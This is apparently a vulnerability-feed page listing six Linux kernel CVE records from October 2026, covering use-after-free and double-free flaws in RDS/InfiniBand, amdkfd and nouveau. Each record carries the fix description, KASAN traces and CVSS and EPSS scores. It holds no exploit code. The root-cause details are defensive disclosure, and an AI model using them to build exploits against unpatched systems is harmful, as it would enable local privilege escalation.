Linux kernel: rds: ib: Clear the sg list when mapping an MR fails (Oct 18, 2026).
In the Linux kernel, the following vulnerability has been resolved:

rds: ib: Clear the sg list when mapping an MR fails

rds_ib_map_frmr() stores the caller's scatterlist in the MR before DMA
mapping and registration can fail. On failure, __rds_rdma_map() unpins
the pages and frees the scatterlist, but rds_ib_free_frmr() can still
return the MR to the pool with the stale pointer set.

This leaves the pool with a dangling scatterlist and can lead to local
privilege escalation. KASAN detects the resulting use-after-free when the
MR is later torn down:

BUG: KASAN: slab-use-after-free in __rds_ib_teardown_mr
Read of size 8

Call Trace:
 __rds_ib_teardown_mr
 rds_ib_unreg_frmr
 rds_ib_flush_mr_pool
 rds_ib_flush_mrs
 rds_free_mr
 rds_setsockopt

Store the scatterlist in the MR only after DMA mapping succeeds. If DMA
mapping fails, return directly while the MR fields remain clear; the caller
keeps ownership of the scatterlist and its pinned pages. If a later
registration step fails, unmap the scatterlist and clear the MR fields
before returning.
CVSS 7.8 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-98524).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-98524&date=2026-10-25).
Sources:
NVD CVE-2026-98524: https://nvd.nist.gov/vuln/detail/CVE-2026-98524
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-98524&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

rds: ib: Clear the sg list when mapping an MR fails

rds_ib_map_frmr() stores the caller's scatterlist in the MR before DMA
mapping and registration can fail. On failure, __rds_rdma_map() unpins
the pages and frees the scatterlist, but rds_ib_free_frmr() can still
return the MR to the pool with the stale pointer set.

This leaves the pool with a dangling scatterlist and can lead to local
privilege escalation. KASAN detects the resulting use-after-free when the
MR is later torn down:

BUG: KASAN: slab-use-after-free in __rds_ib_teardown_mr
Read of size 8

Call Trace:
 __rds_ib_teardown_mr
 rds_ib_unreg_frmr
 rds_ib_flush_mr_pool
 rds_ib_flush_mrs
 rds_free_mr
 rds_setsockopt

Store the scatterlist in the MR only after DMA mapping succeeds. If DMA
mapping fails, return directly while the MR fields remain clear; the caller
keeps ownership of the scatterlist and its pinned pages. If a later
registration step fails, unmap the scatterlist and clear the MR fields
before returning.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: drm/amdkfd: fix use-after-free and multi-container gap in kfd_dev_mapping
https://kevwire.com/record/CVE-2026-98520
Linux kernel: drm/amdkfd: fix use-after-free and multi-container gap in kfd_dev_mapping (Oct 18, 2026).
In the Linux kernel, the following vulnerability has been resolved:

drm/amdkfd: fix use-after-free and multi-container gap in kfd_dev_mapping

kfd_dev_mapping caches the address_space of the first /dev/kfd opener
so that the GPU reset path can call unmap_mapping_range() to zap all
userspace mappings of doorbell and MMIO ranges.  This design has two
bugs that both manifest under SRIOV with multiple containers:

1. Use-after-free / rwsem deadlock.  The cached pointer refers to an
   inode owned by the first opener's container.  When that container
   exits and its inode is released, kfd_dev_mapping becomes a dangling
   pointer.  A subsequent GPU reset dereferences it inside
   unmap_mapping_range(), which takes i_mmap_rwsem on the freed inode,
   causing a hard hang observable as an uninterruptible rwsem wait.

2. Multi-container gap.  Only the first opener's address_space is cached;
   VMAs created by later openers live in a different address_space and
   are never reached by unmap_mapping_range().  After a GPU reset those
   stale mappings keep doorbell and MMIO pages accessible to guest
   userspace with no GPU behind them, risking PCIe transaction timeouts
   and NMI panics.

Fix both bugs with the same approach used by DRM core (drm_drv.c):
create a private pseudo-filesystem at module init time and allocate one
anonymous inode from it.  In kfd_open() redirect every opener's
file->f_mapping to that inode's address_space.  The inode is
module-owned, lives exactly as long as the amdgpu module, and collects
VMAs from all openers in one address_space.  A single
unmap_mapping_range() call in the reset path then correctly reaches
every container's mappings with no dangling pointer risk.

The hang manifests as an NMI backtrace on the GPU reset workqueue stuck
spinning in rwsem_down_read_slowpath() with a corrupted i_mmap_rwsem:

  Workqueue: amdgpu-reset-dev xgpu_ai_mailbox_flr_work [amdgpu]
  Call Trace:
   <TASK>
   kvm_wait+0x1f/0x40
   __pv_queued_spin_lock_slowpath+0x31d/0x3a0
   _raw_spin_lock_irq+0x51/0x80
   rwsem_down_read_slowpath+0xb3/0x550
   down_read+0x48/0xd0
   unmap_mapping_range+0x71/0x140
   kfd_dev_unmap_mapping_range+0x5b/0x140 [amdgpu]
   amdg
CVSS 7.8 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-98520).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-98520&date=2026-10-25).
Sources:
NVD CVE-2026-98520: https://nvd.nist.gov/vuln/detail/CVE-2026-98520
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-98520&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

drm/amdkfd: fix use-after-free and multi-container gap in kfd_dev_mapping

kfd_dev_mapping caches the address_space of the first /dev/kfd opener
so that the GPU reset path can call unmap_mapping_range() to zap all
userspace mappings of doorbell and MMIO ranges.  This design has two
bugs that both manifest under SRIOV with multiple containers:

1. Use-after-free / rwsem deadlock.  The cached pointer refers to an
   inode owned by the first opener's container.  When that container
   exits and its inode is released, kfd_dev_mapping becomes a dangling
   pointer.  A subsequent GPU reset dereferences it inside
   unmap_mapping_range(), which takes i_mmap_rwsem on the freed inode,
   causing a hard hang observable as an uninterruptible rwsem wait.

2. Multi-container gap.  Only the first opener's address_space is cached;
   VMAs created by later openers live in a different address_space and
   are never reached by unmap_mapping_range().  After a GPU reset those
   stale mappings keep doorbell and MMIO pages accessible to guest
   userspace with no GPU behind them, risking PCIe transaction timeouts
   and NMI panics.

Fix both bugs with the same approach used by DRM core (drm_drv.c):
create a private pseudo-filesystem at module init time and allocate one
anonymous inode from it.  In kfd_open() redirect every opener's
file->f_mapping to that inode's address_space.  The inode is
module-owned, lives exactly as long as the amdgpu module, and collects
VMAs from all openers in one address_space.  A single
unmap_mapping_range() call in the reset path then correctly reaches
every container's mappings with no dangling pointer risk.

The hang manifests as an NMI backtrace on the GPU reset workqueue stuck
spinning in rwsem_down_read_slowpath() with a corrupted i_mmap_rwsem:

  Workqueue: amdgpu-reset-dev xgpu_ai_mailbox_flr_work [amdgpu]
  Call Trace:
   <TASK>
   kvm_wait+0x1f/0x40
   __pv_queued_spin_lock_slowpath+0x31d/0x3a0
   _raw_spin_lock_irq+0x51/0x80
   rwsem_down_read_slowpath+0xb3/0x550
   down_read+0x48/0xd0
   unmap_mapping_range+0x71/0x140
   kfd_dev_unmap_mapping_range+0x5b/0x140 [amdgpu]
   amdgpu_amdkfd_clear_kfd_mapping+0xd8/0x190 [amdgpu]
   amdgpu_device_gpu_recover+0x232/0x450 [amdgpu]
   xgpu_ai_mailbox_flr_work+0xb5/0xc0 [amdgpu]
   process_one_work+0x18e/0x3e0
   worker_thread+0x2e3/0x420
   kthread+0x10a/0x230

(cherry picked from commit 1128b4a52de1572e87431de837fd9850cb99542c)

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: drm/nouveau/dmem: pin VRAM for the whole registered range
https://kevwire.com/record/CVE-2026-98518
Linux kernel: drm/nouveau/dmem: pin VRAM for the whole registered range (Oct 18, 2026).
In the Linux kernel, the following vulnerability has been resolved:

drm/nouveau/dmem: pin VRAM for the whole registered range

Commit c32287471077 ("gpu/drm/nouveau: enable THP support for GPU memory
migration") grew the device-private region that
nouveau_dmem_chunk_alloc() registers from DMEM_CHUNK_SIZE to
DMEM_CHUNK_SIZE * NR_CHUNKS, but left the VRAM buffer object backing that
region at DMEM_CHUNK_SIZE.

nouveau_dmem_page_addr() returns chunk->bo->offset plus the page's offset
within the registered region, so every page past the first chunk resolves
to VRAM outside the buffer object.

Size the buffer object to the region it backs.
CVSS 7.0 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-98518).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-98518&date=2026-10-25).
Sources:
NVD CVE-2026-98518: https://nvd.nist.gov/vuln/detail/CVE-2026-98518
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-98518&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

drm/nouveau/dmem: pin VRAM for the whole registered range

Commit c32287471077 ("gpu/drm/nouveau: enable THP support for GPU memory
migration") grew the device-private region that
nouveau_dmem_chunk_alloc() registers from DMEM_CHUNK_SIZE to
DMEM_CHUNK_SIZE * NR_CHUNKS, but left the VRAM buffer object backing that
region at DMEM_CHUNK_SIZE.

nouveau_dmem_page_addr() returns chunk->bo->offset plus the page's offset
within the registered region, so every page past the first chunk resolves
to VRAM outside the buffer object.

Size the buffer object to the region it backs.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: drm/nouveau/uvmm: fix UAF in nouveau_uvmm_sm when BO is in TTM_PL_SYSTEM
https://kevwire.com/record/CVE-2026-98517
Linux kernel: drm/nouveau/uvmm: fix UAF in nouveau_uvmm_sm when BO is in TTM_PL_SYSTEM (Oct 18, 2026).
In the Linux kernel, the following vulnerability has been resolved:

drm/nouveau/uvmm: fix UAF in nouveau_uvmm_sm when BO is in TTM_PL_SYSTEM

nouveau_uvmm_sm() calls op_map(), which passes bo->resource through
nouveau_mem() to nouveau_uvma_map(). nouveau_uvmm_vmm_map() then reads
mem->mem.type.

But this is only valid when bo->resource is backed by struct nouveau_mem,
as is the case for VRAM and TT resources. If the BO is left in
TTM_PL_SYSTEM, bo->resource is only a struct ttm_resource. Treating it
as struct nouveau_mem makes the mem->mem.type read past the end of the
resource, causing a KASAN: slab-use-after-free Read in nouveau_uvmm_sm
report:

BUG: KASAN: slab-use-after-free in nouveau_uvmm_vmm_map drivers/gpu/drm/nouveau/nouveau_uvmm.c:152 [inline]
BUG: KASAN: slab-use-after-free in nouveau_uvma_map drivers/gpu/drm/nouveau/nouveau_uvmm.c:199 [inline]
BUG: KASAN: slab-use-after-free in op_map drivers/gpu/drm/nouveau/nouveau_uvmm.c:849 [inline]
BUG: KASAN: slab-use-after-free in nouveau_uvmm_sm.constprop.0+0x6ab/0x900 drivers/gpu/drm/nouveau/nouveau_uvmm.c:903
Read of size 1 at addr ffff888127d3e3a0 by task kworker/0:1/11

CPU: 0 UID: 0 PID: 11 Comm: kworker/0:1 Not tainted 7.2.0 #5 PREEMPT(lazy)
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Workqueue: nouveau_sched_wq_2224 drm_sched_run_job_work
Call Trace:
 <TASK>
 __dump_stack lib/dump_stack.c:94 [inline]
 dump_stack_lvl+0x95/0xe0 lib/dump_stack.c:120
 print_address_description mm/kasan/report.c:378 [inline]
 print_report+0xcb/0x5a0 mm/kasan/report.c:482
 kasan_report+0xca/0x100 mm/kasan/report.c:595
 nouveau_uvmm_vmm_map drivers/gpu/drm/nouveau/nouveau_uvmm.c:152 [inline]
 nouveau_uvma_map drivers/gpu/drm/nouveau/nouveau_uvmm.c:199 [inline]
 op_map drivers/gpu/drm/nouveau/nouveau_uvmm.c:849 [inline]
 nouveau_uvmm_sm.constprop.0+0x6ab/0x900 drivers/gpu/drm/nouveau/nouveau_uvmm.c:903
 nouveau_uvmm_sm_unmap drivers/gpu/drm/nouveau/nouveau_uvmm.c:932 [inline]
 nouveau_uvmm_bind_job_run+0xd6/0x250 drivers/gpu/drm/nouveau/nouveau_uvmm.c:1532
 nouveau_job_run drivers/gpu/drm/nouveau/nouveau_sched.c:350 [inline]
 nouveau_sched_run_job+0x62/0xd0 drivers/gpu/drm/nouveau
CVSS 7.8 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-98517).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-98517&date=2026-10-25).
Sources:
NVD CVE-2026-98517: https://nvd.nist.gov/vuln/detail/CVE-2026-98517
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-98517&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

drm/nouveau/uvmm: fix UAF in nouveau_uvmm_sm when BO is in TTM_PL_SYSTEM

nouveau_uvmm_sm() calls op_map(), which passes bo->resource through
nouveau_mem() to nouveau_uvma_map(). nouveau_uvmm_vmm_map() then reads
mem->mem.type.

But this is only valid when bo->resource is backed by struct nouveau_mem,
as is the case for VRAM and TT resources. If the BO is left in
TTM_PL_SYSTEM, bo->resource is only a struct ttm_resource. Treating it
as struct nouveau_mem makes the mem->mem.type read past the end of the
resource, causing a KASAN: slab-use-after-free Read in nouveau_uvmm_sm
report:

BUG: KASAN: slab-use-after-free in nouveau_uvmm_vmm_map drivers/gpu/drm/nouveau/nouveau_uvmm.c:152 [inline]
BUG: KASAN: slab-use-after-free in nouveau_uvma_map drivers/gpu/drm/nouveau/nouveau_uvmm.c:199 [inline]
BUG: KASAN: slab-use-after-free in op_map drivers/gpu/drm/nouveau/nouveau_uvmm.c:849 [inline]
BUG: KASAN: slab-use-after-free in nouveau_uvmm_sm.constprop.0+0x6ab/0x900 drivers/gpu/drm/nouveau/nouveau_uvmm.c:903
Read of size 1 at addr ffff888127d3e3a0 by task kworker/0:1/11

CPU: 0 UID: 0 PID: 11 Comm: kworker/0:1 Not tainted 7.2.0 #5 PREEMPT(lazy)
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Workqueue: nouveau_sched_wq_2224 drm_sched_run_job_work
Call Trace:
 <TASK>
 __dump_stack lib/dump_stack.c:94 [inline]
 dump_stack_lvl+0x95/0xe0 lib/dump_stack.c:120
 print_address_description mm/kasan/report.c:378 [inline]
 print_report+0xcb/0x5a0 mm/kasan/report.c:482
 kasan_report+0xca/0x100 mm/kasan/report.c:595
 nouveau_uvmm_vmm_map drivers/gpu/drm/nouveau/nouveau_uvmm.c:152 [inline]
 nouveau_uvma_map drivers/gpu/drm/nouveau/nouveau_uvmm.c:199 [inline]
 op_map drivers/gpu/drm/nouveau/nouveau_uvmm.c:849 [inline]
 nouveau_uvmm_sm.constprop.0+0x6ab/0x900 drivers/gpu/drm/nouveau/nouveau_uvmm.c:903
 nouveau_uvmm_sm_unmap drivers/gpu/drm/nouveau/nouveau_uvmm.c:932 [inline]
 nouveau_uvmm_bind_job_run+0xd6/0x250 drivers/gpu/drm/nouveau/nouveau_uvmm.c:1532
 nouveau_job_run drivers/gpu/drm/nouveau/nouveau_sched.c:350 [inline]
 nouveau_sched_run_job+0x62/0xd0 drivers/gpu/drm/nouveau/nouveau_sched.c:364
 drm_sched_run_job_work+0x356/0xa10 drivers/gpu/drm/scheduler/sched_main.c:1061
 process_one_work+0x8a5/0x1900 kernel/workqueue.c:3322
 process_scheduled_works kernel/workqueue.c:3405 [inline]
 worker_thread+0x5dd/0xd80 kernel/workqueue.c:3486
 kthread+0x31d/0x420 kernel/kthread.c:436
 ret_from_fork+0x662/0x940 arch/x86/kernel/process.c:158
 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245
 </TASK>

Allocated by task 2224 on cpu 0 at 66.550027s:
 kasan_save_stack+0x24/0x50 mm/kasan/common.c:57
 kasan_save_track+0x17/0x60 mm/kasan/common.c:78
 poison_kmalloc_redzone mm/kasan/common.c:398 [inline]
 __kasan_kmalloc+0xaa/0xb0 mm/kasan/common.c:415
 kasan_kmalloc include/linux/kasan.h:263 [inline]
 __do_kmalloc_node mm/slub.c:5334 [inline]
 __kmalloc_noprof+0x304/0x7c0 mm/slub.c:5359
 _kmalloc_noprof include/linux/slab.h:992 [inline]
 dma_resv_list_alloc+0x27/0x90 drivers/dma-buf/dma-resv.c:106
 dma_resv_reserve_fences+0x60e/0xa30 drivers/dma-buf/dma-resv.c:205
 ttm_bo_alloc_resource+0x12c/0xbd0 drivers/gpu/drm/ttm/ttm_bo.c:721
 ttm_bo_validate+0x1bc/0x4a0 drivers/gpu/drm/ttm/ttm_bo.c:856
 ttm_bo_init_reserved+0x2c3/0x570 drivers/gpu/drm/ttm/ttm_bo.c:970
 nouveau_bo_init+0x159/0x2c0 drivers/gpu/drm/nouveau/nouveau_bo.c:359
 nouveau_gem_new+0x234/0x5f0 drivers/gpu/drm/nouveau/nouveau_gem.c:272
 nouveau_gem_ioctl_new+0x1eb/0x420 drivers/gpu/drm/nouveau/nouveau_gem.c:352
 drm_ioctl_kernel+0x192/0x350 drivers/gpu/drm/drm_ioctl.c:817
 drm_ioctl+0x4f8/0xb40 drivers/gpu/drm/drm_ioctl.c:914
 nouveau_drm_ioctl+0xea/0x2c0 drivers/gpu/drm/nouveau/nouveau_drm.c:1338
 vfs_ioctl fs/ioctl.c:51 [inline]
 __do_sys_ioctl fs/ioctl.c:597 [inline]
 __se_sys_ioctl fs/ioctl.c:583 [inline]
 __x64_sys_ioctl+0x180/0x1d0 fs/ioctl.c:583
 do_syscall_x64 ar
---truncated---

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: drm/nouveau: fix double-free in nvif_vmm_dtor
https://kevwire.com/record/CVE-2026-98515
Linux kernel: drm/nouveau: fix double-free in nvif_vmm_dtor (Oct 18, 2026).
In the Linux kernel, the following vulnerability has been resolved:

drm/nouveau: fix double-free in nvif_vmm_dtor

On failure, nouveau_cli_init() calls nouveau_cli_fini() to tear
the client down. Then, nouveau_drm_open() also enters into its
cleanup path and calls nouveau_cli_fini() AGAIN. nouveau_cli_fini()
calls nouveau_vmm_fini():

	void
	nouveau_vmm_fini(struct nouveau_vmm *vmm)
	{
		nouveau_svmm_fini(&vmm->svmm);
		nvif_vmm_dtor(&vmm->vmm);
		vmm->cli = NULL;
	}

Inside nvif_vmm_dtor(), vmm->page is freed unconditionally:

	void
	nvif_vmm_dtor(struct nvif_vmm *vmm)
	{
		kfree(vmm->page);
		nvif_object_dtor(&vmm->object);
	}

vmm->page is never cleared after being freed, so the second call of
nvif_vmm_dtor() will cause a double-free.

Found by fuzzing the nouveau driver with a modified Syzkaller:

	BUG: KASAN: double-free in nvif_vmm_dtor+0x31/0x50 drivers/gpu/drm/nouveau/nvif/vmm.c:194
	Free of addr ffff888010fcdc30 by task syz.0.173/2567

	CPU: 1 UID: 0 PID: 2567 Comm: syz.0.173 Not tainted 7.2.0 #24 PREEMPT(lazy)
	Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
	Call Trace:
	<TASK>
	__dump_stack lib/dump_stack.c:94 [inline]
	dump_stack_lvl+0x95/0xe0 lib/dump_stack.c:120
	print_address_description mm/kasan/report.c:378 [inline]
	print_report+0xcb/0x5a0 mm/kasan/report.c:482
	kasan_report_invalid_free+0xaa/0xd0 mm/kasan/report.c:557
	check_slab_allocation+0xe4/0x110 mm/kasan/common.c:235
	kasan_slab_pre_free include/linux/kasan.h:199 [inline]
	slab_free_hook mm/slub.c:2622 [inline]
	slab_free mm/slub.c:6377 [inline]
	kfree+0x192/0x590 mm/slub.c:6692
	nvif_vmm_dtor+0x31/0x50 drivers/gpu/drm/nouveau/nvif/vmm.c:194
	nouveau_vmm_fini+0x16/0x50 drivers/gpu/drm/nouveau/nouveau_vmm.c:127
	nouveau_cli_fini+0x10e/0x210 drivers/gpu/drm/nouveau/nouveau_drm.c:225
	nouveau_drm_open+0x24e/0x740 drivers/gpu/drm/nouveau/nouveau_drm.c:1255
	drm_file_alloc+0x5f2/0xad0 drivers/gpu/drm/drm_file.c:176
	drm_open_helper+0x1d7/0x4a0 drivers/gpu/drm/drm_file.c:335
	drm_open+0x190/0x3d0 drivers/gpu/drm/drm_file.c:388
	drm_stub_open+0x1f2/0x460 drivers/gpu/drm/drm_drv.c:1211
	chrdev_open+0x21c/0x660 fs/char_dev.c:411
	do_dentry_open+0x59d/0
CVSS 7.8 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-98515).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-98515&date=2026-10-25).
Sources:
NVD CVE-2026-98515: https://nvd.nist.gov/vuln/detail/CVE-2026-98515
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-98515&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

drm/nouveau: fix double-free in nvif_vmm_dtor

On failure, nouveau_cli_init() calls nouveau_cli_fini() to tear
the client down. Then, nouveau_drm_open() also enters into its
cleanup path and calls nouveau_cli_fini() AGAIN. nouveau_cli_fini()
calls nouveau_vmm_fini():

	void
	nouveau_vmm_fini(struct nouveau_vmm *vmm)
	{
		nouveau_svmm_fini(&vmm->svmm);
		nvif_vmm_dtor(&vmm->vmm);
		vmm->cli = NULL;
	}

Inside nvif_vmm_dtor(), vmm->page is freed unconditionally:

	void
	nvif_vmm_dtor(struct nvif_vmm *vmm)
	{
		kfree(vmm->page);
		nvif_object_dtor(&vmm->object);
	}

vmm->page is never cleared after being freed, so the second call of
nvif_vmm_dtor() will cause a double-free.

Found by fuzzing the nouveau driver with a modified Syzkaller:

	BUG: KASAN: double-free in nvif_vmm_dtor+0x31/0x50 drivers/gpu/drm/nouveau/nvif/vmm.c:194
	Free of addr ffff888010fcdc30 by task syz.0.173/2567

	CPU: 1 UID: 0 PID: 2567 Comm: syz.0.173 Not tainted 7.2.0 #24 PREEMPT(lazy)
	Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
	Call Trace:
	<TASK>
	__dump_stack lib/dump_stack.c:94 [inline]
	dump_stack_lvl+0x95/0xe0 lib/dump_stack.c:120
	print_address_description mm/kasan/report.c:378 [inline]
	print_report+0xcb/0x5a0 mm/kasan/report.c:482
	kasan_report_invalid_free+0xaa/0xd0 mm/kasan/report.c:557
	check_slab_allocation+0xe4/0x110 mm/kasan/common.c:235
	kasan_slab_pre_free include/linux/kasan.h:199 [inline]
	slab_free_hook mm/slub.c:2622 [inline]
	slab_free mm/slub.c:6377 [inline]
	kfree+0x192/0x590 mm/slub.c:6692
	nvif_vmm_dtor+0x31/0x50 drivers/gpu/drm/nouveau/nvif/vmm.c:194
	nouveau_vmm_fini+0x16/0x50 drivers/gpu/drm/nouveau/nouveau_vmm.c:127
	nouveau_cli_fini+0x10e/0x210 drivers/gpu/drm/nouveau/nouveau_drm.c:225
	nouveau_drm_open+0x24e/0x740 drivers/gpu/drm/nouveau/nouveau_drm.c:1255
	drm_file_alloc+0x5f2/0xad0 drivers/gpu/drm/drm_file.c:176
	drm_open_helper+0x1d7/0x4a0 drivers/gpu/drm/drm_file.c:335
	drm_open+0x190/0x3d0 drivers/gpu/drm/drm_file.c:388
	drm_stub_open+0x1f2/0x460 drivers/gpu/drm/drm_drv.c:1211
	chrdev_open+0x21c/0x660 fs/char_dev.c:411
	do_dentry_open+0x59d/0x12b0 fs/open.c:947
	vfs_open+0x82/0x390 fs/open.c:1052
	do_open fs/namei.c:4700 [inline]
	path_openat+0x2345/0x3420 fs/namei.c:4863
	do_file_open+0x207/0x460 fs/namei.c:4892
	do_sys_openat2+0xd1/0x1d0 fs/open.c:1368
	do_sys_open fs/open.c:1374 [inline]
	__do_sys_openat fs/open.c:1390 [inline]
	__se_sys_openat fs/open.c:1385 [inline]
	__x64_sys_openat+0x144/0x200 fs/open.c:1385
	do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
	do_syscall_64+0x115/0x690 arch/x86/entry/syscall_64.c:94
	entry_SYSCALL_64_after_hwframe+0x77/0x7f
	RIP: 0033:0x7fc6d687594d
	Code: ff c3 66 2e 0f 1f 84 00 00 00 00 00 90 f3 0f 1e fa 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 b0 ff ff ff f7 d8 64 89 01 48
	RSP: 002b:00007fc6d5295008 EFLAGS: 00000246 ORIG_RAX: 0000000000000101
	RAX: ffffffffffffffda RBX: 00007fc6d6b06180 RCX: 00007fc6d687594d
	RDX: 0000000000022501 RSI: 0000200000000000 RDI: ffffffffffffff9c
	RBP: 00007fc6d691c303 R08: 0000000000000000 R09: 0000000000000000
	R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000
	R13: 00007fc6d6b06218 R14: 00007fc6d6b06180 R15: 00007ffd9451d760
	</TASK>

	Allocated by task 2567 on cpu 1 at 163.593900s:
	kasan_save_stack+0x24/0x50 mm/kasan/common.c:57
	kasan_save_track+0x17/0x60 mm/kasan/common.c:78
	poison_kmalloc_redzone mm/kasan/common.c:398 [inline]
	__kasan_kmalloc+0xaa/0xb0 mm/kasan/common.c:415
	kasan_kmalloc include/linux/kasan.h:263 [inline]
	__do_kmalloc_node mm/slub.c:5334 [inline]
	__kmalloc_noprof+0x304/0x7c0 mm/slub.c:5359
	_kmalloc_noprof include/linux/slab.h:992 [inline]
	nvif_vmm_ctor+0x3c0/0x7e0 drivers/gpu/drm/nouveau/nvif/vmm.c:237
	nouveau_vmm_init+0x40/0x90 drivers/gpu/drm/nouveau/nouveau_vmm.c:134
	nouveau_cli_init+0x7b9/0
---truncated---

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: drm/nouveau: RCU-free the scheduler-containing nouveau_sched
https://kevwire.com/record/CVE-2026-98512
Linux kernel: drm/nouveau: RCU-free the scheduler-containing nouveau_sched (Oct 18, 2026).
In the Linux kernel, the following vulnerability has been resolved:

drm/nouveau: RCU-free the scheduler-containing nouveau_sched

struct nouveau_sched embeds a struct drm_gpu_scheduler (base).
nouveau_sched_destroy() calls nouveau_sched_fini() (which does
drm_sched_fini(&sched->base)) and then frees the object with plain
kfree(sched).

drm_sched_fence_get_timeline_name() returns fence->sched->name, and the
scheduler fence keeps a .release callback so it is not ops-detached on
signalling.  A finished fence exported to userspace via drm_syncobj /
sync_file therefore keeps pointing at &sched->base after nouveau_sched_destroy(),
and a later get_timeline_name() -- reachable unprivileged through
SYNC_IOC_FILE_INFO -- dereferences freed memory (KASAN slab-use-after-free
read).

Per the dma-fence lifetime contract the exporter must keep the data backing a
signalled fence alive for an RCU grace period.  Free the scheduler-containing
object with kfree_rcu() instead of kfree().
CVSS 7.1 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-98512).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-98512&date=2026-10-25).
Sources:
NVD CVE-2026-98512: https://nvd.nist.gov/vuln/detail/CVE-2026-98512
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-98512&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

drm/nouveau: RCU-free the scheduler-containing nouveau_sched

struct nouveau_sched embeds a struct drm_gpu_scheduler (base).
nouveau_sched_destroy() calls nouveau_sched_fini() (which does
drm_sched_fini(&sched->base)) and then frees the object with plain
kfree(sched).

drm_sched_fence_get_timeline_name() returns fence->sched->name, and the
scheduler fence keeps a .release callback so it is not ops-detached on
signalling.  A finished fence exported to userspace via drm_syncobj /
sync_file therefore keeps pointing at &sched->base after nouveau_sched_destroy(),
and a later get_timeline_name() -- reachable unprivileged through
SYNC_IOC_FILE_INFO -- dereferences freed memory (KASAN slab-use-after-free
read).

Per the dma-fence lifetime contract the exporter must keep the data backing a
signalled fence alive for an RCU grace period.  Free the scheduler-containing
object with kfree_rcu() instead of kfree().

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

